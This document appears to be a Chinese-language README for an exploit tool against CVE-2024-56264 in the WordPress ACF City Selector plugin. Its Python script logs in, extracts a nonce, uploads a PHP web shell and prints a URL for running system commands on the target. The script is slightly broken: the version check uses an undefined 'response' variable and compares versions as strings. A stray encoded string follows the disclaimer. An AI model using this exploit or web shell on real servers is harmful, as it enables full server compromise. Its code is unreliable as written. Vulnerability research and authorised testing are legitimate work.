WordPress ACF City Selector - 任意文件上传漏洞利用工具 (CVE-2024-56264)

项目描述

本项目是一个针对 WordPress ACF City Selector 插件严重安全漏洞(CVE-2024-56264)的概念验证(PoC)利用工具。该漏洞存在于插件 1.14.0 及更早版本 中,由于插件未对上传文件进行充分验证,允许攻击者绕过安全限制,上传任意 PHP 文件(Web Shell)。成功利用后,攻击者可以在目标服务器上执行系统命令,从而导致 服务器完全沦陷

漏洞详情

  • CVE ID: CVE-2024-56264
  • 发布日期: 2025年1月2日
  • 受影响插件: ACF City Selector
  • 受影响版本: <= 1.14.0
  • 影响类型: 远程代码执行 (RCE) - 由不受限制的文件上传导致

功能特性

  • 自动化漏洞检测:自动检测目标网站上 ACF City Selector 插件的版本,判断是否存在漏洞。
  • 身份认证集成:支持使用 WordPress 用户名和密码进行登录,获取上传所需的 Nonce。
  • 恶意文件上传:自动生成并上传恶意的 PHP Web Shell 到目标服务器。
  • 远程命令执行:上传成功后,提供 Web Shell 访问链接,支持通过 URL 参数执行系统命令。
  • 清晰的执行反馈:脚本输出详细的步骤信息(如登录状态、Nonce提取、上传结果等),便于验证。

安装指南

系统要求

  • Python 3.x
  • requests

依赖安装

使用 pip 安装所需依赖:

pip install requests

或者,如果你有 requirements.txt 文件,可以使用:

pip install -r requirements.txt

使用说明

基础用法

usage: CVE-2024-56264.py --url URL --username USERNAME --password PASSWORD

WordPress ACF City Selector plugin <= 1.14.0 - Arbitrary File Upload vulnerability

options:
  -h, --help           show this help message and exit
  --url URL            Website base URL (e.g., http://192.168.100.74/wordpress)
  --username USERNAME  WordPress username
  --password PASSWORD  WordPress password

典型使用场景

在获得合法授权的情况下,对使用易受攻击版本的 ACF City Selector 插件的 WordPress 站点进行安全测试:

python CVE-2024-56264.py --url http://192.168.100.74:888/wordpress --username admin --password admin

预期输出

成功利用后,你将看到类似以下的输出:

[+] Detected plugin version: 1.14.0
[+] Vulnerable version detected! Proceeding with exploitation.
[+] Logged in successfully.
[+] Extracted nonce: abc1234
[+] Shell uploaded successfully: http://wordpress/wp-content/uploads/acfcs/q.php

后续利用

上传成功后,可以通过以下 URL 访问 Web Shell 并执行系统命令:

http://wordpress/wp-content/uploads/acfcs/q.php?cmd=whoami

核心代码

以下是项目中的核心 Python 实现代码,展示了漏洞检测、登录认证、Nonce 提取和文件上传的完整流程。

import requests
import sys
import argparse
from urllib.parse import urljoin

# 禁用 SSL 警告(仅用于测试环境)
requests.packages.urllib3.disable_warnings()

def check_vulnerability(url):
    """检测 ACF City Selector 插件版本并判断是否易受攻击"""

    try:

        if "Stable tag:" in response.text:
            for line in response.text.split('\n'):
                if "Stable tag:" in line:
                    version = line.split(":")[1].strip()
                    print(f"[+] Detected plugin version: {version}")
                    if version <= "1.14.0":
                        print("[+] Vulnerable version detected! Proceeding with exploitation.")
                        return True
                    else:
                        print("[-] Version is not vulnerable.")
                        return False
    except Exception as e:
        print(f"[-] Failed to check version: {e}")
    return False

def wordpress_login(session, url, username, password):
    """模拟 WordPress 登录以获取必要的认证凭据"""
    login_url = urljoin(url, "/wp-login.php")
    data = {
        "log": username,
        "pwd": password,
        "wp-submit": "Log In",
        "redirect_to": urljoin(url, "/wp-admin/"),
        "testcookie": "1"
    }
    try:
        response = session.post(login_url, data=data, verify=False, timeout=10)
        if "dashboard" in response.text or "wp-admin" in response.url:
            print("[+] Logged in successfully.")
            return True
        else:
            print("[-] Login failed. Check credentials.")
            return False
    except Exception as e:
        print(f"[-] Login error: {e}")
        return False

def get_upload_nonce(session, url):
    """从页面中提取上传文件所需的 nonce 值"""
    admin_url = urljoin(url, "/wp-admin/admin.php?page=acf-city-selector-import-export")
    try:
        response = session.get(admin_url, verify=False, timeout=10)
        # 查找 nonce 字段(通常位于 name 为 '_wpnonce' 或 'acfcs_nonce' 的 input 中)
        import re
        match = re.search(r'name="_wpnonce"\s+value="([^"]+)"', response.text)
        if not match:
            match = re.search(r'name="acfcs_nonce"\s+value="([^"]+)"', response.text)
        if match:
            nonce = match.group(1)
            print(f"[+] Extracted nonce: {nonce}")
            return nonce
        else:
            print("[-] Could not extract nonce.")
            return None
    except Exception as e:
        print(f"[-] Failed to get nonce: {e}")
        return None

def upload_shell(session, url, nonce):
    """上传恶意 PHP shell"""
    upload_url = urljoin(url, "/wp-admin/admin-ajax.php")
    # 恶意 PHP shell 内容(简单示例)
    shell_content = """<?php
    if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        system($_REQUEST['cmd']);
        echo "</pre>";
        die;
    }
    ?>"""
    files = {
        'file': ('q.php', shell_content, 'application/x-php')
    }
    data = {
        'action': 'acfcs_upload_cities',
        '_wpnonce': nonce
    }
    try:
        response = session.post(upload_url, data=data, files=files, verify=False, timeout=10)
        if "uploaded" in response.text.lower() or "success" in response.text.lower():
            shell_url = urljoin(url, "/wp-content/uploads/acfcs/q.php")
            print(f"[+] Shell uploaded successfully: {shell_url}")
            return shell_url
        else:
            print("[-] Upload failed.")
            return None
    except Exception as e:
        print(f"[-] Upload error: {e}")
        return None

def main():
    parser = argparse.ArgumentParser(description="WordPress ACF City Selector plugin <= 1.14.0 - Arbitrary File Upload vulnerability")
    parser.add_argument("--url", required=True, help="Website base URL (e.g., http://192.168.100.74/wordpress)")
    parser.add_argument("--username", required=True, help="WordPress username")
    parser.add_argument("--password", required=True, help="WordPress password")
    args = parser.parse_args()

    # 确保 URL 末尾没有多余的斜杠
    base_url = args.url.rstrip('/')

    # 步骤 1: 检查漏洞版本
    if not check_vulnerability(base_url):
        print("[-] Target is not vulnerable. Exiting.")
        sys.exit(1)

    # 步骤 2: 创建会话并进行登录
    session = requests.Session()
    if not wordpress_login(session, base_url, args.username, args.password):
        sys.exit(1)

    # 步骤 3: 获取上传所需的 nonce
    nonce = get_upload_nonce(session, base_url)
    if not nonce:
        sys.exit(1)

    # 步骤 4: 上传 Web Shell
    shell_url = upload_shell(session, base_url, nonce)
    if shell_url:
        print(f"\n[+] Exploit completed. Access shell at: {shell_url}?cmd=whoami")
    else:
        print("[-] Exploit failed.")

if __name__ == "__main__":
    main()

代码注释说明

  • wordpress_login(session, url, username, password):使用提供的凭据登录 WordPress,获取具有上传权限的会话。
  • get_upload_nonce(session, url):从插件的导入/导出页面中解析出上传文件所需的 WordPress Nonce 值,用于绕过 CSRF 保护。
  • upload_shell(session, url, nonce):构造带有恶意 PHP 代码的 multipart/form-data 请求,利用插件中的文件上传功能将 shell 写入服务器的 /wp-content/uploads/acfcs/ 目录。
  • main():协调整个利用流程,从参数解析到最终的命令执行提示。

⚠ 免责声明

本工具仅限用于教育目的和授权的安全测试。未经授权的使用是违法的,可能导致严重后果。作者 不对任何滥用行为负责。在使用本工具之前,请确保你已获得目标系统的明确书面授权。 6HFtX5dABrKlqXeO5PUv/xgdEriXlAOE9c4ChqzQrWA=